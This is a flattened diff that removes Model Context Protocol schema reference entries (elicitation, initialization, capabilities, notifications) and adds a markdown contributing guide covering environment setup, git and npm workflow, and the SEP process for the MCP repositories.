  \_meta?: \{ \[key: string]: unknown };
  completion: \{ values: string\[]; total?: number; hasMore?: boolean };
  \[key: string]: unknown;
}

The server's response to a completion/complete request

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

completion: \{ values: string\[]; total?: number; hasMore?: boolean }
Type Declaration
  • values: string\[]

    An array of completion values. Must not exceed 100 items.

  • Optionaltotal?: number

    The total number of completion options available. This can exceed the number of values actually sent in the response.

  • OptionalhasMore?: boolean

    Indicates whether there are additional completion options beyond those provided in the current response, even if the exact total is unknown.

-
+### Prerequisites -
- ### `PromptReference` +Before contributing, ensure you have the following installed and ready: -
interface PromptReference \{
  name: string;
  title?: string;
  type: "ref/prompt";
}

Identifies a prompt.

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, - even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, - where annotations.title should be given precedence over using name, - if present).

type: "ref/prompt"
-
+* **[Git](https://git-scm.com/downloads)** - For cloning repositories and submitting changes +* **[Node.js 24+](https://nodejs.org/)** - Required for building and testing our projects +* **npm** - Comes with Node.js, used for dependency management +* **[GitHub account](https://github.com/signup)** - For submitting pull requests and issues +* **Language-specific tooling** - If contributing to an SDK, you'll need the appropriate + development environment for that language (e.g., Python, Rust, Go) -
- ### `ResourceTemplateReference` +Verify your setup: -
interface ResourceTemplateReference \{
  type: "ref/resource";
  uri: string;
}

A reference to a resource or resource template definition.

type: "ref/resource"
uri: string

The URI or URI template of the resource.

-
+```bash theme={null} +node --version # Should be 24.x or higher +npm --version # Should be 11.x or higher +git --version # Any recent version +``` -## `elicitation/create` + + These commands work the same on macOS, Linux, and Windows, so you're good to + go on any platform. + -
- ### `ElicitRequest` +### Repository Structure -
interface ElicitRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "elicitation/create";
  params: ElicitRequestParams;
}

A request from the server to elicit additional information from the user via the client.

jsonrpc: "2.0"
id: RequestId
method: "elicitation/create"
params: ElicitRequestParams
-
+MCP spans multiple repositories in the +[`modelcontextprotocol`](https://github.com/modelcontextprotocol) organization on GitHub. Here are +a few notable sub-projects worth checking out: -
- ### `ElicitRequestParams` +| Repository | Contents | +| ----------------------------------------------------------------------------------------------------------- | ------------------------- | +| [`modelcontextprotocol/modelcontextprotocol`](https://github.com/modelcontextprotocol/modelcontextprotocol) | Specification, docs, SEPs | +| [`modelcontextprotocol/typescript-sdk`](https://github.com/modelcontextprotocol/typescript-sdk) | TypeScript/JavaScript SDK | +| [`modelcontextprotocol/python-sdk`](https://github.com/modelcontextprotocol/python-sdk) | Python SDK | +| [`modelcontextprotocol/go-sdk`](https://github.com/modelcontextprotocol/go-sdk) | Go SDK | +| [`modelcontextprotocol/java-sdk`](https://github.com/modelcontextprotocol/java-sdk) | Java SDK | +| [`modelcontextprotocol/kotlin-sdk`](https://github.com/modelcontextprotocol/kotlin-sdk) | Kotlin SDK | +| [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk) | C# SDK | +| [`modelcontextprotocol/swift-sdk`](https://github.com/modelcontextprotocol/swift-sdk) | Swift SDK | +| [`modelcontextprotocol/rust-sdk`](https://github.com/modelcontextprotocol/rust-sdk) | Rust SDK | +| [`modelcontextprotocol/ruby-sdk`](https://github.com/modelcontextprotocol/ruby-sdk) | Ruby SDK | +| [`modelcontextprotocol/php-sdk`](https://github.com/modelcontextprotocol/php-sdk) | PHP SDK | -

The parameters for a request to elicit additional information from the user via the client.

-
+Throughout this guide, **specification repository** refers to +`modelcontextprotocol/modelcontextprotocol`, which contains the protocol spec, this documentation +site, and [Spec Enhancement Proposals (SEPs)](/community/sep-guidelines). -
- ### `ElicitResult` +### Project Roles -
interface ElicitResult \{
  \_meta?: \{ \[key: string]: unknown };
  action: "accept" | "decline" | "cancel";
  content?: \{ \[key: string]: string | number | boolean | string\[] };
  \[key: string]: unknown;
}

The client's response to an elicitation request.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

action: "accept" | "decline" | "cancel"

The user action in response to the elicitation.

  • "accept": User submitted the form/confirmed the action
  • "decline": User explicitly decline the action
  • "cancel": User dismissed without making an explicit choice
content?: \{ \[key: string]: string | number | boolean | string\[] }

The submitted form data, only present when action is "accept" and mode was "form". - Contains values matching the requested schema. - Omitted for out-of-band mode responses.

-
+MCP follows a [governance model](/community/governance) with different levels of responsibility: + +* **Contributors** - Anyone who files issues, submits PRs, or participates in discussions (that's + you!) +* **Maintainers** - Steward specific areas like SDKs, documentation, or + [Working Groups](/community/working-interest-groups) +* **Core Maintainers** - Guide overall project direction, review SEPs, and oversee the specification + +You can find the current list of maintainers in the +[`MAINTAINERS.md`](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md) +file. -
- ### `BooleanSchema` +Maintainers are here to help you succeed! Don't hesitate to reach out if you have questions or +need guidance on your contribution. -
interface BooleanSchema \{
  type: "boolean";
  title?: string;
  description?: string;
  default?: boolean;
}
type: "boolean"
title?: string
description?: string
default?: boolean
-
+## Your First Contribution -
- ### `ElicitRequestFormParams` +Start here if you are new to MCP and contributing to its ecosystem. -
interface ElicitRequestFormParams \{
  task?: TaskMetadata;
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  mode?: "form";
  message: string;
  requestedSchema: \{
    \$schema?: string;
    type: "object";
    properties: \{ \[key: string]: PrimitiveSchemaDefinition };
    required?: string\[];
  };
}

The parameters for a request to elicit non-sensitive information from the user via a form in the client.

task?: TaskMetadata

If specified, the caller is requesting task-augmented execution for this request. - The request will return a CreateTaskResult immediately, and the actual result can be - retrieved later via tasks/result.

Task augmentation is subject to capability negotiation - receivers MUST declare support - for task augmentation of specific request types in their capabilities.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

mode?: "form"

The elicitation mode.

message: string

The message to present to the user describing what information is being requested.

requestedSchema: \{ \$schema?: string; type: "object"; properties: \{ \[key: string]: PrimitiveSchemaDefinition }; required?: string\[]; }

A restricted subset of JSON Schema. - Only top-level properties are allowed, without nesting.

-
+ + While we use the specification repository as an example, the key patterns are + applicable to other MCP repos as well. + -
- ### `ElicitRequestURLParams` +### Step 1: Set Up Your Environment -
interface ElicitRequestURLParams \{
  task?: TaskMetadata;
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  mode: "url";
  message: string;
  elicitationId: string;
  url: string;
}

The parameters for a request to elicit information from the user via a URL in the client.

task?: TaskMetadata

If specified, the caller is requesting task-augmented execution for this request. - The request will return a CreateTaskResult immediately, and the actual result can be - retrieved later via tasks/result.

Task augmentation is subject to capability negotiation - receivers MUST declare support - for task augmentation of specific request types in their capabilities.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

mode: "url"

The elicitation mode.

message: string

The message to present to the user explaining why the interaction is needed.

elicitationId: string

The ID of the elicitation, which must be unique within the context of the server. - The client MUST treat this ID as an opaque value.

url: string

The URL that the user should navigate to.

-
+Set up your local environment so you can test and validate changes before submitting them. -
- ### `EnumSchema` + + + Click the **Fork** button on the [repository page](https://github.com/modelcontextprotocol/modelcontextprotocol) to create your own copy. This gives you a personal workspace where you can make changes without affecting the main project. + - -
+ + ```bash theme={null} + git clone https://github.com/YOUR-USERNAME/modelcontextprotocol.git + cd modelcontextprotocol + ``` -
- ### `LegacyTitledEnumSchema` + Replace `YOUR-USERNAME` with your GitHub username. + -
interface LegacyTitledEnumSchema \{
  type: "string";
  title?: string;
  description?: string;
  enum: string\[];
  enumNames?: string\[];
  default?: string;
}

Use TitledSingleSelectEnumSchema instead. - This interface will be removed in a future version.

type: "string"
title?: string
description?: string
enum: string\[]
enumNames?: string\[]

(Legacy) Display names for enum values. - Non-standard according to JSON schema 2020-12.

default?: string
-
+ + ```bash theme={null} + npm install + ``` -
- ### `MultiSelectEnumSchema` + This installs the tools needed for schema generation, documentation building, and validation. + - -
+ + ```bash theme={null} + npm run check + ``` -
- ### `NumberSchema` + This runs TypeScript compilation, schema validation, example validation, documentation link checks, and formatting checks. If everything passes, your environment is good and you're ready to contribute. + + -
interface NumberSchema \{
  type: "number" | "integer";
  title?: string;
  description?: string;
  minimum?: number;
  maximum?: number;
  default?: number;
}
type: "number" | "integer"
title?: string
description?: string
minimum?: number
maximum?: number
default?: number
-
+If `npm run check` fails, see [Troubleshooting](#troubleshooting) below. -
- ### `PrimitiveSchemaDefinition` +### Step 2: Find Something to Work On -
PrimitiveSchemaDefinition:
  | StringSchema
  | NumberSchema
  | BooleanSchema
  | EnumSchema

Restricted schema definitions that only allow primitive types - without nested objects or arrays.

-
+While a lot of the items you might see tracked in the repository can feel intimidating, especially +for newcomers, there are plenty of places where you can start with your first improvements: -
- ### `SingleSelectEnumSchema` +1. **Documentation improvements** - Help us fix typos, unclear explanations, broken links, or + incomplete examples +2. **Issues labeled `good first issue`** - Tackle issues tagged in the + [specification repo](https://github.com/modelcontextprotocol/modelcontextprotocol/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) + as well as our SDK repos +3. **Schema examples** - Add examples to `schema/draft/examples/` to make it easier for developers + to understand protocol primitives - -
+### Step 3: Make Your Change -
- ### `StringSchema` +Create your changes in a dedicated branch. -
interface StringSchema \{
  type: "string";
  title?: string;
  description?: string;
  minLength?: number;
  maxLength?: number;
  format?: "uri" | "email" | "date" | "date-time";
  default?: string;
}
type: "string"
title?: string
description?: string
minLength?: number
maxLength?: number
format?: "uri" | "email" | "date" | "date-time"
default?: string
-
+ + + ```bash theme={null} + git checkout -b fix/your-description + ``` -
- ### `TitledMultiSelectEnumSchema` + Use a descriptive branch name that reflects your change, like `fix/typo-in-tools-doc` or `feat/add-example-for-resources`. + -
interface TitledMultiSelectEnumSchema \{
  type: "array";
  title?: string;
  description?: string;
  minItems?: number;
  maxItems?: number;
  items: \{ anyOf: \{ const: string; title: string }\[] };
  default?: string\[];
}

Schema for multiple-selection enumeration with display titles for each option.

type: "array"
title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

minItems?: number

Minimum number of items to select.

maxItems?: number

Maximum number of items to select.

items: \{ anyOf: \{ const: string; title: string }\[] }

Schema for array items with enum options and display labels.

Type Declaration
  • anyOf: \{ const: string; title: string }\[]

    Array of enum options with values and display labels.

default?: string\[]

Optional default value.

-
+ + Edit the relevant files in your local copy. If you're editing schema files, remember to run `npm run generate:schema` to regenerate the JSON schema and documentation. + -
- ### `TitledSingleSelectEnumSchema` + + ```bash theme={null} + npm run check + ``` -
interface TitledSingleSelectEnumSchema \{
  type: "string";
  title?: string;
  description?: string;
  oneOf: \{ const: string; title: string }\[];
  default?: string;
}

Schema for single-selection enumeration with display titles for each option.

type: "string"
title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

oneOf: \{ const: string; title: string }\[]

Array of enum options with values and display labels.

Type Declaration
  • const: string

    The enum value.

  • title: string

    Display label for this option.

default?: string

Optional default value.

-
+ Fix any issues before committing. If you have formatting errors, `npm run format` can auto-fix most of them. +
-
- ### `UntitledMultiSelectEnumSchema` + + ```bash theme={null} + git commit -m "Fix typo in tools documentation" + ``` -
interface UntitledMultiSelectEnumSchema \{
  type: "array";
  title?: string;
  description?: string;
  minItems?: number;
  maxItems?: number;
  items: \{ type: "string"; enum: string\[] };
  default?: string\[];
}

Schema for multiple-selection enumeration without display titles for options.

type: "array"
title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

minItems?: number

Minimum number of items to select.

maxItems?: number

Maximum number of items to select.

items: \{ type: "string"; enum: string\[] }

Schema for the array items.

Type Declaration
  • type: "string"
  • enum: string\[]

    Array of enum values to choose from.

default?: string\[]

Optional default value.

-
+ Write a concise message that describes what you changed and why. Reference issue numbers if applicable (e.g., `Fix typo in tools documentation (#123)`). +
+ -
- ### `UntitledSingleSelectEnumSchema` +### Step 4: Submit a Pull Request -
interface UntitledSingleSelectEnumSchema \{
  type: "string";
  title?: string;
  description?: string;
  enum: string\[];
  default?: string;
}

Schema for single-selection enumeration without display titles for options.

type: "string"
title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

enum: string\[]

Array of enum values to choose from.

default?: string

Optional default value.

-
+When you're ready, push your branch and open a pull request. -## `initialize` + + + ```bash theme={null} + git push origin fix/your-description + ``` + -
- ### `InitializeRequest` + + You can use the [GitHub CLI](https://cli.github.com/) to make this process easier: -
interface InitializeRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "initialize";
  params: InitializeRequestParams;
}

This request is sent from the client to the server when it first connects, asking it to begin initialization.

jsonrpc: "2.0"
id: RequestId
method: "initialize"
params: InitializeRequestParams
-
+ ```bash theme={null} + gh pr create --fill + ``` -
- ### `InitializeRequestParams` + Alternatively, navigate to your fork on GitHub and click **Compare & pull request**. + -
interface InitializeRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  protocolVersion: string;
  capabilities: ClientCapabilities;
  clientInfo: Implementation;
}

Parameters for an initialize request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

protocolVersion: string

The latest version of the Model Context Protocol that the client supports. The client MAY decide to support older versions as well.

capabilities: ClientCapabilities
clientInfo: Implementation
-
+ + Provide a clear description of your changes and link any related issues. + -
- ### `InitializeResult` + + Maintainers typically respond within 1-5 business days. + + -
interface InitializeResult \{
  \_meta?: \{ \[key: string]: unknown };
  protocolVersion: string;
  capabilities: ServerCapabilities;
  serverInfo: Implementation;
  instructions?: string;
  \[key: string]: unknown;
}

After receiving an initialize request from the client, the server sends this response.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

protocolVersion: string

The version of the Model Context Protocol that the server wants to use. This may not match the version that the client requested. If the client cannot support this version, it MUST disconnect.

capabilities: ServerCapabilities
serverInfo: Implementation
instructions?: string

Instructions describing how to use the server and its features.

This can be used by clients to improve the LLM's understanding of available tools, resources, etc. It can be thought of like a "hint" to the model. For example, this information MAY be added to the system prompt.

-
+ + That's it, **congratulations on your first contribution**! Every improvement, + no matter how small, helps make MCP better for everyone. + -
- ### `ClientCapabilities` +### What Makes a Good Contribution -
interface ClientCapabilities \{
  experimental?: \{ \[key: string]: object };
  roots?: \{ listChanged?: boolean };
  sampling?: \{ context?: object; tools?: object };
  elicitation?: \{ form?: object; url?: object };
  tasks?: \{
    list?: object;
    cancel?: object;
    requests?: \{
      sampling?: \{ createMessage?: object };
      elicitation?: \{ create?: object };
    };
  };
}

Capabilities a client may support. Known capabilities are defined here, in this schema, but this is not a closed set: any client can define its own, additional capabilities.

experimental?: \{ \[key: string]: object }

Experimental, non-standard capabilities that the client supports.

roots?: \{ listChanged?: boolean }

Present if the client supports listing roots.

Type Declaration
  • OptionallistChanged?: boolean

    Whether the client supports notifications for changes to the roots list.

sampling?: \{ context?: object; tools?: object }

Present if the client supports sampling from an LLM.

Type Declaration
  • Optionalcontext?: object

    Whether the client supports context inclusion via includeContext parameter. - If not declared, servers SHOULD only use includeContext: "none" (or omit it).

  • Optionaltools?: object

    Whether the client supports tool use via tools and toolChoice parameters.

elicitation?: \{ form?: object; url?: object }

Present if the client supports elicitation from the server.

tasks?: \{ list?: object; cancel?: object; requests?: \{ sampling?: \{ createMessage?: object }; elicitation?: \{ create?: object }; }; }

Present if the client supports task-augmented requests.

Type Declaration
  • Optionallist?: object

    Whether this client supports tasks/list.

  • Optionalcancel?: object

    Whether this client supports tasks/cancel.

  • Optionalrequests?: \{ sampling?: \{ createMessage?: object }; elicitation?: \{ create?: object } }

    Specifies which request types can be augmented with tasks.

    • Optionalsampling?: \{ createMessage?: object }

      Task support for sampling-related requests.

      • OptionalcreateMessage?: object

        Whether the client supports task-augmented sampling/createMessage requests.

    • Optionalelicitation?: \{ create?: object }

      Task support for elicitation-related requests.

      • Optionalcreate?: object

        Whether the client supports task-augmented elicitation/create requests.

-
+Help us review your contribution quickly by following these patterns: -
- ### `Implementation` +| Harder to Review | Thoughtful and Impactful | +| -------------------------------------------- | ------------------------------------------------ | +| Large PR with unrelated changes | Focused PR addressing one issue | +| Reformatting code without functional changes | Fixing a bug with a clear explanation | +| Vague commit messages ("fixed stuff") | Descriptive commits linking to issues | +| Submitting with failing CI checks | All CI tests pass before requesting review | +| Duplicating existing documentation | Documenting an undocumented feature or edge case | -
interface Implementation \{
  icons?: Icon\[];
  name: string;
  title?: string;
  version: string;
  description?: string;
  websiteUrl?: string;
}

Describes the MCP implementation.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, - even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, - where annotations.title should be given precedence over using name, - if present).

version: string
description?: string

An optional human-readable description of what this implementation does.

This can be used by clients or servers to provide context about their purpose - and capabilities. For example, a server might describe the types of resources - or tools it provides, while a client might describe its intended use case.

websiteUrl?: string

An optional URL of the website for this implementation.

-
+## Types of Contributions -
- ### `ServerCapabilities` +Different contributions follow different processes depending on their scope. -
interface ServerCapabilities \{
  experimental?: \{ \[key: string]: object };
  logging?: object;
  completions?: object;
  prompts?: \{ listChanged?: boolean };
  resources?: \{ subscribe?: boolean; listChanged?: boolean };
  tools?: \{ listChanged?: boolean };
  tasks?: \{
    list?: object;
    cancel?: object;
    requests?: \{ tools?: \{ call?: object } };
  };
}

Capabilities that a server may support. Known capabilities are defined here, in this schema, but this is not a closed set: any server can define its own, additional capabilities.

experimental?: \{ \[key: string]: object }

Experimental, non-standard capabilities that the server supports.

logging?: object

Present if the server supports sending log messages to the client.

completions?: object

Present if the server supports argument autocompletion suggestions.

prompts?: \{ listChanged?: boolean }

Present if the server offers any prompt templates.

Type Declaration
  • OptionallistChanged?: boolean

    Whether this server supports notifications for changes to the prompt list.

resources?: \{ subscribe?: boolean; listChanged?: boolean }

Present if the server offers any resources to read.

Type Declaration
  • Optionalsubscribe?: boolean

    Whether this server supports subscribing to resource updates.

  • OptionallistChanged?: boolean

    Whether this server supports notifications for changes to the resource list.

tools?: \{ listChanged?: boolean }

Present if the server offers any tools to call.

Type Declaration
  • OptionallistChanged?: boolean

    Whether this server supports notifications for changes to the tool list.

tasks?: \{ list?: object; cancel?: object; requests?: \{ tools?: \{ call?: object } }; }

Present if the server supports task-augmented requests.

Type Declaration
  • Optionallist?: object

    Whether this server supports tasks/list.

  • Optionalcancel?: object

    Whether this server supports tasks/cancel.

  • Optionalrequests?: \{ tools?: \{ call?: object } }

    Specifies which request types can be augmented with tasks.

    • Optionaltools?: \{ call?: object }

      Task support for tool-related requests.

      • Optionalcall?: object

        Whether the server supports task-augmented tools/call requests.

-
+ + Not sure which category your change falls into? Ask in the [MCP Contributor + Discord](/community/communication#discord) before starting any significant + work. + -## `logging/setLevel` +### Small Changes (Direct PR) -
- ### `SetLevelRequest` +Simply submit a pull request directly to the repo for: -
interface SetLevelRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "logging/setLevel";
  params: SetLevelRequestParams;
}

A request from the client to the server, to enable or adjust logging.

jsonrpc: "2.0"
id: RequestId
method: "logging/setLevel"
params: SetLevelRequestParams
-
+* Bug fixes and typo corrections +* Documentation improvements, such as bringing clarity to an ambiguous or unclear section +* Adding examples to existing features +* Minor schema fixes that don't materially change the specification or SDK behavior +* Test improvements -
- ### `SetLevelRequestParams` +### Major Changes (SEP Required) -
interface SetLevelRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  level: LoggingLevel;
}

Parameters for a logging/setLevel request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

level: LoggingLevel

The level of logging that the client wants to receive from the server. The server should send all logs at this level and higher (i.e., more severe) to the client as notifications/message.

-
+Anything that changes the MCP specification requires following the +[Specification Enhancement Proposal (SEP)](/community/sep-guidelines) process. This includes, but +is not limited to: -## `notifications/cancelled` +* New protocol features or API methods +* Breaking changes to existing behavior +* Changes to the message format or schema structure +* New interoperability standards +* Governance or process changes -
- ### `CancelledNotification` +Here are a few concrete examples of what would require following the SEP steps: -
interface CancelledNotification \{
  jsonrpc: "2.0";
  method: "notifications/cancelled";
  params: CancelledNotificationParams;
}

This notification can be sent by either side to indicate that it is cancelling a previously-issued request.

The request SHOULD still be in-flight, but due to communication latency, it is always possible that this notification MAY arrive after the request has already finished.

This notification indicates that the result will be unused, so any associated processing SHOULD cease.

A client MUST NOT attempt to cancel its initialize request.

For task cancellation, use the tasks/cancel request instead of this notification.

jsonrpc: "2.0"
method: "notifications/cancelled"
params: CancelledNotificationParams
-
+* Adding a new RPC method like `tools/execute` +* Changing how authentication and authorization works +* Adding a new capability negotiation field +* Modifying the transport layer specification -
- ### `CancelledNotificationParams` +## Working with the Specification Repository -
interface CancelledNotificationParams \{
  \_meta?: \{ \[key: string]: unknown };
  requestId?: RequestId;
  reason?: string;
}

Parameters for a notifications/cancelled notification.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

requestId?: RequestId

The ID of the request to cancel.

This MUST correspond to the ID of a request previously issued in the same direction. - This MUST be provided for cancelling non-task requests. - This MUST NOT be used for cancelling tasks (use the tasks/cancel request instead).

reason?: string

An optional string describing the reason for the cancellation. This MAY be logged or presented to the user.

-
+Once you've determined [what type of contribution](#types-of-contributions) you're making, here's +how to work with the specification repository. -## `notifications/initialized` +### Schema Changes -
- ### `InitializedNotification` +The TypeScript schema (`schema/draft/schema.ts`) is the **source of truth** for the protocol. It +defines every message type, request/response structure, and primitive (tools, resources, prompts) +that clients and servers exchange. SDK implementers across all languages rely on this schema to +build conformant implementations. -
interface InitializedNotification \{
  jsonrpc: "2.0";
  method: "notifications/initialized";
  params?: NotificationParams;
}

This notification is sent from the client to the server after initialization has finished.

jsonrpc: "2.0"
method: "notifications/initialized"
params?: NotificationParams
-
+When you run `npm run generate:schema`, it generates: -## `notifications/tasks/status` +* The JSON schema (`schema/draft/schema.json`) for validation +* The Schema Reference documentation (`docs/specification/draft/schema.mdx`) -
- ### `TaskStatusNotification` +To modify the schema: -
interface TaskStatusNotification \{
  jsonrpc: "2.0";
  method: "notifications/tasks/status";
  params: TaskStatusNotificationParams;
}

An optional notification from the receiver to the requestor, informing them that a task's status has changed. Receivers are not required to send these notifications.

jsonrpc: "2.0"
method: "notifications/tasks/status"
params: TaskStatusNotificationParams
-
+ + + Make your changes in `schema/draft/schema.ts`. + -
- ### `TaskStatusNotificationParams` + + Add JSON examples in `schema/draft/examples/[TypeName]/` (e.g., `Tool/my-example.json`). Reference them in the schema using `@example` + `@includeCode` JSDoc tags. + -
TaskStatusNotificationParams: NotificationParams & Task

Parameters for a notifications/tasks/status notification.

-
+ + ```bash theme={null} + npm run generate:schema + ``` + -## `notifications/message` + + ```bash theme={null} + npm run check + ``` + +
-
- ### `LoggingMessageNotification` +### Documentation Changes -
interface LoggingMessageNotification \{
  jsonrpc: "2.0";
  method: "notifications/message";
  params: LoggingMessageNotificationParams;
}

JSONRPCNotification of a log message passed from server to client. If no logging/setLevel request has been sent from the client, the server MAY decide which messages to send automatically.

jsonrpc: "2.0"
method: "notifications/message"
params: LoggingMessageNotificationParams
-
+Docs are written in [MDX format](https://mdxjs.com/) (Markdown with JSX components) and powered by +[Mintlify](https://mintlify.com/). The `docs/` directory contains: -
- ### `LoggingMessageNotificationParams` +* `docs/docs/` - Guides and tutorials for getting started and building with MCP +* `docs/specification/` - Formal protocol specification (versioned by date) -
interface LoggingMessageNotificationParams \{
  \_meta?: \{ \[key: string]: unknown };
  level: LoggingLevel;
  logger?: string;
  data: unknown;
}

Parameters for a notifications/message notification.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

level: LoggingLevel

The severity of this log message.

logger?: string

An optional name of the logger issuing this message.

data: unknown

The data to be logged, such as a string message or an object. Any JSON serializable type is allowed here.

-
+Here is how you can contribute to our documentation: -## `notifications/progress` + + + ```bash theme={null} + npm run serve:docs + ``` -
- ### `ProgressNotification` + This launches a live preview at `http://localhost:3000` with hot reloading. + -
interface ProgressNotification \{
  jsonrpc: "2.0";
  method: "notifications/progress";
  params: ProgressNotificationParams;
}

An out-of-band notification used to inform the receiver of a progress update for a long-running request.

jsonrpc: "2.0"
method: "notifications/progress"
params: ProgressNotificationParams
-
+ + Edit the relevant `.mdx` files. You can use [Mintlify components](https://www.mintlify.com/docs/components) like ``, ``, ``, and `` for richer formatting. + -
- ### `ProgressNotificationParams` + + ```bash theme={null} + npm run check:docs + ``` -
interface ProgressNotificationParams \{
  \_meta?: \{ \[key: string]: unknown };
  progressToken: ProgressToken;
  progress: number;
  total?: number;
  message?: string;
}

Parameters for a notifications/progress notification.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

progressToken: ProgressToken

The progress token which was given in the initial request, used to associate this notification with the request that is proceeding.

progress: number

The progress thus far. This should increase every time progress is made, even if the total is unknown.

total?: number

Total number of items to process (or total progress required), if known.

message?: string

An optional message describing the current progress.

-
+ This validates formatting, broken links, and other common issues. +
+
-## `notifications/prompts/list_changed` +### Major Protocol Changes -
- ### `PromptListChangedNotification` +For significant changes, follow the [SEP process](/community/sep-guidelines). Prior to spending a +lot of time on a spec proposal, make sure to follow these best practices. -
interface PromptListChangedNotification \{
  jsonrpc: "2.0";
  method: "notifications/prompts/list\_changed";
  params?: NotificationParams;
}

An optional notification from the server to the client, informing it that the list of prompts it offers has changed. This may be issued by servers without any previous subscription from the client.

jsonrpc: "2.0"
method: "notifications/prompts/list\_changed"
params?: NotificationParams
-
+ + + Discuss in an [Interest Group](/community/working-interest-groups) or on + [Discord](https://discord.gg/6CSzBmMkjX). + -## `notifications/resources/list_changed` + + Demonstrate practical application of your idea. + -
- ### `ResourceListChangedNotification` + + A maintainer from the [maintainer + list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md) + who will champion your proposal. + -
interface ResourceListChangedNotification \{
  jsonrpc: "2.0";
  method: "notifications/resources/list\_changed";
  params?: NotificationParams;
}

An optional notification from the server to the client, informing it that the list of resources it can read from has changed. This may be issued by servers without any previous subscription from the client.

jsonrpc: "2.0"
method: "notifications/resources/list\_changed"
params?: NotificationParams
-
+ + Follow the [SEP Guidelines](/community/sep-guidelines). + +
-## `notifications/resources/updated` +## Working with the SDK Repositories -
- ### `ResourceUpdatedNotification` +MCP maintains official SDKs in multiple languages. Contributions are welcome - whether you're +fixing bugs, improving performance, adding features, or enhancing documentation. -
interface ResourceUpdatedNotification \{
  jsonrpc: "2.0";
  method: "notifications/resources/updated";
  params: ResourceUpdatedNotificationParams;
}

A notification from the server to the client, informing it that a resource has changed and may need to be read again. This should only be sent if the client previously sent a resources/subscribe request.

jsonrpc: "2.0"
method: "notifications/resources/updated"
params: ResourceUpdatedNotificationParams
-
+ + Each SDK has its own repository, maintainers, and contribution guidelines. + Some SDKs are maintained in collaboration with larger partner organizations, + such as Google, Microsoft, JetBrains, and others, so processes may vary + slightly between repositories. + -
- ### `ResourceUpdatedNotificationParams` +### Before Contributing to an SDK -
interface ResourceUpdatedNotificationParams \{
  \_meta?: \{ \[key: string]: unknown };
  uri: string;
}

Parameters for a notifications/resources/updated notification.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

uri: string

The URI of the resource that has been updated. This might be a sub-resource of the one that the client actually subscribed to.

-
+Before diving into code, follow these steps. -## `notifications/roots/list_changed` + + + Before starting significant work, open an issue to discuss your approach. + This helps avoid duplicate effort, ensures your contribution aligns with the + SDK's direction, and gives maintainers a chance to provide early feedback. + -
- ### `RootsListChangedNotification` + + Find the relevant channel in [Discord](https://discord.gg/6CSzBmMkjX) (e.g., + `#typescript-sdk-dev`, `#python-sdk-dev`). + -
interface RootsListChangedNotification \{
  jsonrpc: "2.0";
  method: "notifications/roots/list\_changed";
  params?: NotificationParams;
}

A notification from the client to the server, informing it that the list of roots has changed. - This notification should be sent whenever the client adds, removes, or modifies any root. - The server should then request an updated list of roots using the ListRootsRequest.

jsonrpc: "2.0"
method: "notifications/roots/list\_changed"
params?: NotificationParams
-
